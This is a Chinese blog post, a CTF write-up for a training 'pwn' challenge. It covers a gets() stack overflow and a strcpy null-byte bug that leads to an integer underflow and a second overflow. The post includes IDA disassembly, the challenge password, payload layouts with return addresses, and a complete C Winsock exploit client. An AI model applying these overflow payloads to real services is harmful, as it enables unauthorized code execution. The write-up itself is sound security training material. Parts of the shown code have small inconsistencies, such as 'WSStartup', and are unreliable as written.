

pwnstep1-2 writeup

原创

zh_explorer 于 2015-04-22 13:30:14 发布 1045 收藏

分类专栏: [hduisa内部平台writeup](#) 文章标签: [writeup](#) [ctf](#) [pwn](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/zh_explorer/article/details/45193905

版权



[hduisa内部平台writeup](#) 专栏收录该内容

6 篇文章 0 订阅

订阅专栏

协会平台更新了。放一篇writeup

一道pwn的简单题目, 主要练练栈溢出。

STEP1:

nc连接上去之后是3个选项。其中1, 2都有字符串的输入。先丢ida分析。

根据一些字符串的输出理清函数的调用关系。先来step1.

提示输入字符串(不限长度的)然后rol13加密。重点是如下的分支跳转。

```
.text:0804891E 09C      cmp     [ebp+var_D], 5Ch          ; <-比较[esp+var_D]-5Ch, 成功区1
.text:08048922 09C      jnz     short loc_8048956
.text:08048924 09C      sub     esp, 0Ch
.text:08048927 0A8      push   offset aCongratulation    ; "Congratulations you've got
.text:0804892C 0AC      call   _puts
.text:08048931 0AC      add     esp, 10h
.text:08048934 09C      sub     esp, 0Ch
.text:08048937 0A8      push   offset aGiveYouWhatYou    ; "Give you what you want."
.text:0804893C 0AC      call   _puts
.text:08048941 0AC      add     esp, 10h
.text:08048944 09C      sub     esp, 0Ch
.text:08048947 0A8      push   offset file                ; "flags/step1"
.text:0804894C 0AC      call   sub_80486AB                ; <-打印flag的函数, 参数是flags/s
.text:08048951 0AC      add     esp, 10h
.text:08048954 09C      jmp     short loc_8048966 ; Jump
.text:08048956      ; -----
.text:08048956      loc_8048956:                    ; CODE XREF: sub_8048781+1411j
.text:08048956 09C      sub     esp, 0Ch
.text:08048959 0A8      push   offset aYes__youSeeRot    ; "Yes..you see ROT13 runing we
.text:0804895E 0AC      call   _puts
.text:08048963 0AC      add     esp, 10h
```

前面还有个不限长度的gets函数, 所以是只要输入字符串覆盖就可以了。

构造字符串'a*(0x94-0x0D)+0x5c(就是字符'\')

手工输入即可得到flag

STEP2:

分析step2的程序流程，首先输入密码。密码为明文很容易发现为“=L=why_dont_you_guess_me?”输入正确后提示输入验证码，为109然后就结束了。

随后我再查找.const段发现字符串“flags/step2”，猜想使用这个参数调用step1中打印flag的函数，但是两个输入函数都是限制了输入长度的，所以没有办法进行栈溢出攻击。

于是仔细的分析step2的代码。发现在strcpy处有一个漏洞，因为strcpy复制后总是加上'\0'，正好将[esp+var_c]处的用以限制输入长度变量覆盖为0。

```
.text:08048A01      sub     esp, 8
.text:08048A04      lea    eax, [ebp+nptr]
.text:08048A0A      push   eax                ; src
.text:08048A0B      lea    eax, [ebp+dest]
.text:08048A0E      push   eax                ; dest
.text:08048A0F      call   _strcpy            ;这里的strcpy把[esp+var_c]处变量覆盖为0。
.text:08048A14      add    esp, 10h
.text:08048A17      sub    esp, 0Ch
.text:08048A1A      push   offset a0h__andINeedTo ; "0h..And,I need to check if you are hu
.text:08048A1F      call   _puts
.text:08048A24      add    esp, 10h
.text:08048A27      sub    esp, 0Ch
.text:08048A2A      push   offset aPleaseCalculat ; "Please calculate:?"...
.text:08048A2F      call   _puts
.text:08048A34      add    esp, 10h
.text:08048A37      mov    eax, [ebp+var_C]
.text:08048A3A      sub    eax, 1              ; <-这里是关键，将已经为0的eax再减去1，可以溢出啦。
.text:08048A3D      sub    esp, 4
.text:08048A40      push   0Ah
.text:08048A42      push   eax
.text:08048A43      lea    eax, [ebp+nptr]
.text:08048A49      push   eax
.text:08048A4A      call   sub_804870E        ;可以在这里开心的构造溢出了
```

所以最终思路是

先发送=L=why_dont_you_guess_me? + 'a'*38 + '\n'覆盖变量。

然后发送119 + '\0'*1101 + 0x0804894C(函数地址) + 0x08048c3a(参数地址) + '\n'

本人是个渣，不会用高大上的python，所以用c语言写了段代码。。

```
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")

int main (void)
{
    int i;
    WSADATA wsaData;
    SOCKET sockClient;
    SOCKADDR_IN addrServer;
    char recvBuf[5000]={0};
    WSStartup(MAKEWORD(2,2), &wsaData);
    sockClient=socket(AF_INET, SOCK_STREAM, 0);

    addrServer.sin_addr.S_un.S_addr=inet_addr("****hide****");
    addrServer.sin_family=AF_INET; addrServer.sin_port=htons(7777);
```

```

connect(sockClient, (SOCKADDR*)&addrServer, sizeof(SOCKADDR));

recv(sockClient, recvBuf, 1000, 0);
printf("%s", recvBuf);
printf("\n*****\n");
for(i=0; i<1000; recvBuf[i]=0, i++);

char message[2000]={'2', '\x0a'};
send(sockClient, message, 2, 0);
Sleep(1000);
recv(sockClient, recvBuf, 1000, 0);
printf("%s", recvBuf);
printf("\n*****\n");
for(i=0; i<1000; recvBuf[i]=0, i++);

for(i=0; i<64; i++)
    message[i]='1';
message[64]='\x0a';
strcpy_s(message, 26, "L=why_dont_you_guess_me?");
message[25]='1';

send(sockClient, message, 65, 0);
Sleep(1000);
recv(sockClient, recvBuf, 1000, 0);
printf("%s", recvBuf);
printf("\n*****\n");
for(i=0; i<5000; recvBuf[i]=0, i++);

for(i=0; i<1104; i++)
    message[i]='\0';
message[1104]=0x4c;
message[1105]=0x89;
message[1106]=0x04;
message[1107]=0x08;
message[1108]=0x3a;
message[1109]=0x8c;
message[1110]=0x04;
message[1111]=0x08;
message[1112]=0x0a;
message[0]='1';
message[1]='0';
message[2]='9';

send(sockClient, message, 1113, 0);
Sleep(1000);
recv(sockClient, recvBuf, 5000, 0);
printf("%s", recvBuf);
printf("\n*****\n");

closesocket(sockClient);
WSACleanup();
}

```

flag get!

啥，要pwn文件！反正没人看，就不传了